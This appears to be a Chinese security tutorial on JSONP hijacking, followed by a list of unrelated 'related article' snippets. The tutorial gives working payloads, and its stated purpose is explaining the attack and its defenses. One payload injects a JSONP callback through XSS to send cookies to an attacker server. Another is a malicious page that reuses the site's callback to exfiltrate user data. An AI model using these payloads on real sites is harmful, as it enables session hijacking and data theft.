JSONP 跨域访问(2), JSONP劫持
JSONP 跨域访问(2), JSONP劫持
一, 利用 XSS 漏洞执行jsonp
1. 利用过程
发现有jsonp的请求:
<script type="text/javascript"
src="http://192.168.112.200/security/jsonp.php?callback=jsonpCallback"></script>
向xss漏洞的位置注入代码:
<script type="text/javascript"
src="http://192.168.112.200/security/jsonp.php?callback=alert(1);//"></script><script type="text/javascript"
src="http://192.168.112.200/security/jsonp.php?callback=document.cookie;//"></script>
如果能弹窗说明服务器没有对回调函数的名称做检查, 那么 callback 后面可以执行其他js代码.
<script type="text/javascript" src="http://192.168.112.200/security/jsonp.php
?callback=location.href='http://192.168.112.202/recv.php?
cookie='%2Bdocument.cookie%2B'%26url='%2Blocation.href;//">
</script>
在这段代码中的 %2B 和 %26 是URL编码后的字符。
%2B 代表加号(+),在URL中用于表示空格或连接字符串。
%26 代表和号(&),在URL中通常用来连接多个参数。
'%2Bdocument.cookie%2B' 会被解析为连接 document.cookie (当前页面的cookie信息)到字符串中,相当于 +document.cookie+。
'%26url='%2Blocation.href 是将 &url= 字符串连接到 location.href (当前页面的URL)。
当浏览器执行这段脚本时,它会请求 jsonp.php 文件,并传递一个 callback 参数。服务器应该响应一个调用该回调函数的JavaScript代码,其中包含了服务端希望在客户端执行的代码。
攻击者服务器(在这个案例中是 http://192.168.112.202/recv.php)会接收到包含用户cookie的请求,这样攻击者就可能会窃取用户的会话信息。
2. 防御手段
对传递到后端的回调函数名的长度进行判断
利用白名单限制回调函数的名称
二, 利用CSRF漏洞, 构造恶意网站劫持JSONP请求
如果后端限制了callback 函数名, 那么可以伪造html页面绕过检查, 执行恶意代码.
编写一个html页面, 用目标网站相同的回调函数执行自己的代码.
<script type="text/javascript">// 回调函数function jsonpCallback(data) {location.href = "http://192.168.112.202/recv.php?value=" + JSON.stringify(data) + "&referer=" + document.referrer;}
</script>
<script type="text/javascript"
src="http://192.168.112.200/security/jsonp.php?callback=jsonpCallback"></script>
上面这段代码向目标200网站发送jsonp请求, 调用与200网站上相同的函数 jsonpCallback, 绕过了服务器对回调函数的检查.
函数执行自己的代码, 向攻击者202服务器请求recv.php, 攻击者可以利用这个脚本保存发送过来的用户数据.
当用户访问恶意html页面时, 向200服务器发送jsonp请求, 并将请求到的用户数据发送到202服务器上.
相关文章:
JSONP 跨域访问(2), JSONP劫持
JSONP 跨域访问(2), JSONP劫持 一, 利用 XSS 漏洞执行jsonp 1. 利用过程 发现有jsonp的请求: <script type"text/javascript" src"http://192.168.112.200/security/jsonp.php?callbackjsonpCallback"></script>向xss漏洞的位置注入代码…...
【java】实现自定义注解校验——方法一
自定义注解校验的实现步骤: 1.创建注解类,编写校验注解,即类似NotEmpty注解 2.编写自定义校验的逻辑实体类,编写具体的校验逻辑。(这个类可以实现ConstraintValidator这个接口,让注解用来校验) 3.开启使用自定义注解进…...
JavaScript基础入门03
目录 1.条件语句 1.1if 语句 1.1.1基本语法格式 1.1.2练习案例 1.2三元表达式 1.3switch 2.循环语句 2.1while 循环 2.2continue 2.3break 2.4for 循环 3.数组 3.1创建数组 3.2获取数组元素 3.3新增数组元素 3.3.1. 通过修改 length 新增 3.3.2. 通过下标新增 …...
P1903 [国家集训队] 数颜色 / 维护队列
带修改的莫队 带修改的莫队就是在基础莫队的基础上增加了一维属性,之前只需要维护l,r现在还需要维护一下时间t,排序还是先按照左端点块儿号排序,然后右端点块儿号排序,最后按时间排序。其它的都是差不多的。 #include…...
uniapp 请求接口的方式
在UniApp中,我们可以使用多种方式来发送请求接口。以下是几种常用的方式: 1、使用unmireuest方法:uni.reuest是uniApp提供的原生AP,可以发送HTTP请,我们可以通过传递一个图对象来设置请求的参数,RL、请求方法GET/POST…...
怎么查看当前vue项目,要求的node.js版本
要查看当前 Vue 项目所需的 Node.js 版本,你可以查看项目根目录下的 package.json 文件中的 engines 属性。该属性定义了项目所需的 Node.js 版本范围。 例如,以下是一个示例 package.json 文件: {"name": "my-vue-project&…...
QT5自适应
//集成屏幕自适应功能 QApplication::setAttribute(Qt::AA_EnableHighDpiScaling); QCoreApplication::setAttribute(Qt::AA_UseHighDpiPixmaps); DEVMODE NewDevMode; //获取屏幕设置中的分辨率 EnumDisplaySettings(0, ENUM_CURRENT_SETTINGS, &NewDevMo…...
蓝桥杯官网练习题(日期问题)
题目描述 小明正在整理一批历史文献。这些历史文献中出现了很多日期。小明知道这些日期都在 1960 年 1 月 1 日至 2059 年 12 月 31 日。令小明头疼的是,这些日期采用的格式非常不统一,有采用年/月/日的,有采用月/日/年的,还有采…...
PDF文件解析
一、PDF文件介绍 PDF是英文Portable Document Format缩写,就是可移植的意思,它是以PostScript语言图象模型为基础,无论在哪种打印机上都可保证精确的颜色和准确的打印效果,PostScript咱也不懂,估计和SVG的原理差不多吧…...
初识微服务技术栈
认识微服务 随着互联网行业的发展,对服务的要求也越来越高,服务架构也从单体架构逐渐演变为现在流行的微服务架构,这些架构之间有怎样的差别呢? 导学: 了解微服务的优缺点;了解微服务架构的演变过程&am…...
windows 下运行正常,但是linux下报错 : Could not find or load main class
使用指令 "sed -i s/\r$// xxxxxxx.sh",将 .sh 文件中的 "\r" 全部替换成空白符,即可解决问题 转转:https://www.cnblogs.com/cmxbky1314/p/12096611.html...
MySQL 数据目录和 InnoDB 表空间补充知识:详细结构
1. 数据目录 在Ubuntu下,MySQL的数据目录为/var/lib/mysql 1.1 数据库在文件系统中的表示 (1)创建数据库时,会在数据目录下创建一个与数据库名同名的子目录。(除了information_schema这个系统数据外) &…...
移远EC600U-CN开发板 day02
1.QuecPythonLVGL显示图片 由于官方提供的显示图片函数使用失败,为了能在屏幕上显示图片,通过对出厂脚本的分析,成功使用LVGL显示图片 (1)代码 import lvgl as lv from tp import gt9xx from machine import LCD from machine import Pin …...
visual studio Python 配置QGIS(qgis)教程
visual studio Python 配置QGIS(qgis)教程 这个教程全网独一份啊,博主是自己摸索出来的。 visual studio Python 配置QGIS(qgis)环境一共分为两部: 第一步安装QGIS: 下载链接如下 https://www…...
第二证券:消费电子概念活跃,博硕科技“20cm”涨停,天龙股份斩获10连板
消费电子概念7日盘中再度拉升,到发稿,博硕科技“20cm”涨停,光大同创、波长光电涨超10%,易德龙、向阳科技、得润电子、天龙股份、同兴达等涨停。 博硕科技强势涨停,公司昨日在接受安排调研时表明,公司从上…...
petalinux 2022.2 在 ubantu18.04 下的安装
下载 Ubuntu下载: https://releases.ubuntu.com/18.04/ubuntu-18.04.6-desktop-amd64.iso petalinux 下载: https://www.xilinx.com/support/download/index.html/content/xilinx/en/downloadNav/embedded-design-tools/2022-2.html 安装虚拟机 安装…...
【进程与线程】进程与线程 QA
进程与线程常见知识点: 1、什么是进程、线程,有什么区别? 进程是资源(CPU、内存等)分配的基本单位,线程是CPU调度和分配的基本单位程序执行的最小单位)。同一时间,如果CPU是单核,只有一个进程在执行,所谓…...
电脑风扇控制软件 Macs Fan Control Pro mac中文版功能介绍
Macs Fan Control mac是一款专门为 Mac 用户设计的软件,它可以帮助用户控制和监控 Mac 设备的风扇速度和温度。这款软件允许用户手动调整风扇速度,以提高设备的散热效果,减少过热造成的风险。 Macs Fan Control 可以在菜单栏上显示当前系统温…...
【13】c++11新特性 —>call_once
在某些特定情况下,某些函数只能在多线程环境下调用一次,比如:要初始化某个对象,而这个对象只能被初始化一次,就可以使用std::call_once()来保证函数在多线程环境下只能被调用一次。使用call_once()的时候,需…...
解决logstash插件logstash-outputs-mongodb一条数据失败后一直重复尝试
描述 从日志中读取数据时,有一条数据不符合规范,导致logstash读取数据插入时出错,而插件又无限尝试插入,导致堵塞。 解决方案 找到logstash文件夹目录,例如是:/data/logstash-7.3.2 cd /data/logstash-…...
小觅相机‘凉了’之后,我们如何用它的SDK和开源工具链构建自己的SLAM数据集?
从废弃硬件到研究利器:小觅相机SDK与开源工具链的SLAM数据集构建指南 当一款硬件产品的厂商突然消失,官网关闭、技术支持中断,那些被遗弃的设备往往会被贴上"电子垃圾"的标签。但作为一名SLAM研究者或爱好者,你是否想过…...
SpringBoot+Hadoop实战:手把手教你搭建民宿数据可视化平台(附完整源码)
SpringBootHadoop实战:构建高可用民宿数据可视化平台 1. 项目背景与技术选型 民宿行业近年来呈现爆发式增长,随之而来的是海量房源信息、用户评价和交易数据的积累。传统的关系型数据库在处理这类数据时面临存储瓶颈和计算性能不足的问题。我们选择Spr…...
Linux系统CPU负载与使用率详解及性能监控
1. CPU负载与CPU使用率的本质区别在Linux系统监控和性能调优过程中,CPU负载和CPU使用率这两个指标经常被混淆使用。作为系统管理员,我曾多次遇到团队成员将这两个概念混为一谈的情况,这往往导致对系统性能问题的误判。让我们先从一个实际案例…...
YOLOv10镜像作品集:高清图像目标检测惊艳案例分享
YOLOv10镜像作品集:高清图像目标检测惊艳案例分享 1. 引言:YOLOv10带来的视觉革命 在计算机视觉领域,目标检测技术正经历着前所未有的变革。YOLOv10作为最新一代的目标检测模型,以其无与伦比的速度和精度重新定义了实时检测的标…...
usearch的内存泄漏自动化测试:在CI中集成泄漏检测
usearch的内存泄漏自动化测试:在CI中集成泄漏检测 【免费下载链接】usearch Fastest Open-Source Search & Clustering engine for Vectors & 🔜 Strings in C, C, Python, JavaScript, Rust, Java, Objective-C, Swift, C#, GoLang, and Wolf…...
SystemVerilog实战:在Vivado 2023.1中实现跨文件clog2计算的3种方法
SystemVerilog实战:在Vivado 2023.1中实现跨文件clog2计算的3种方法 当我们将传统Verilog项目迁移到SystemVerilog环境时,经常会遇到$clog2函数的兼容性问题。这个看似简单的对数计算函数,在不同工具链和文件类型中的表现可能大相径庭。特别是…...
Java泛型中的List
本文将详细回答java泛型中的listt extends base>使用问题。 在java中,泛型提供了强大的类型安全机制,但其一些特点也容易引起混淆,如listt extends base>开发者经常感到困难。假设sub是base的子类:public class base { }pub…...
ViT在语义分割中的性能优化:从VOC2012数据集看如何提升自行车识别准确率
ViT在语义分割中的性能优化:从VOC2012数据集看如何提升自行车识别准确率 语义分割作为计算机视觉领域的核心任务之一,其目标是为图像中的每个像素分配类别标签。近年来,Vision Transformer(ViT)凭借其强大的全局建模能…...
Fun-ASR语音识别新手入门:3步启动Web服务,麦克风实时转文字实测
Fun-ASR语音识别新手入门:3步启动Web服务,麦克风实时转文字实测 1. 快速认识Fun-ASR Fun-ASR是由钉钉与通义实验室联合推出的语音识别系统,专为中文场景优化设计。与市面上常见的云端语音识别服务不同,它最大的特点是支持本地化…...
SmolVLA开发环境搭建:从操作系统安装到模型运行的完整路径
SmolVLA开发环境搭建:从操作系统安装到模型运行的完整路径 如果你刚拿到一台新电脑,或者想把旧机器彻底清理干净,从头开始搭建一个能跑SmolVLA模型的环境,那这篇文章就是为你准备的。很多教程都假设你已经有了一个可用的系统&…...
